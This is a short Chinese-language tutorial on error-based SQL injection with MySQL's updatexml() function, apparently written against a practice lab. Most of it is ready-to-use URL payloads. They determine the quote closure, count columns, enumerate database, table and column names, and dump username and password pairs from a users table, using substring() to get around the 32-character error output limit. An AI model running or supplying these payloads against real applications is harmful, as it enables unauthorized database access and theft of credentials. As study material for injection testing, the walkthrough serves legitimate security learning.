sql盲注_updateXml报错注入

函数updatexml(XML_document,XPath_string,new_value)包含三个参数
第一个参数是string格式，为XML文档对象名称，例如doc
第二个参数是路径
第三个参数是替换查找符合条件的数据
updatexml报错原理
同extractvalue()一样sql盲注_extractvalue报错注入
输入错误第二个参数，即更改路径的符号
正常语句

select updatexml(doc,'/book/auther/surname','1') from xml

错误语句

select updatexml(doc,'~book/auther/surname','1') from xml

利用updatexml()报错注入
判断字符型/数据型

?id=1

判断闭合方式

?id=1'

?id=1"

可以判断为双引号闭合
查看有多少列

?id=1 union select 1,2,3--+

查询数据库

?id=1" and 1=updatexml(1,concat(0x7e,(select database())),3) --+

查询数据库表名

?id=1" and 1=updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA=database())),3) --+

查看表的列

?id=1" and 1=updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where TABLE_SCHEMA=database() and table_name='users')),3) --+

查看表内容

?id=1" and 1=updatexml(1,concat(0x7e,(select group_concat(username,'~',password) from users)),3) --+

默认只能返回32字符串
使用函数substring()函数解决只能返回32个字符串的问题(功能和substr函数一样)
substring((字符串),从第几个字符开始,一次输出几个)因为有32的局限所以每次开始的字符都要不一样才能拼成完整的答案

?id=1" and 1=updatexml(1,concat(0x7e,(select substring((select group_concat(username,'~',password) from users),25,30))),3)--+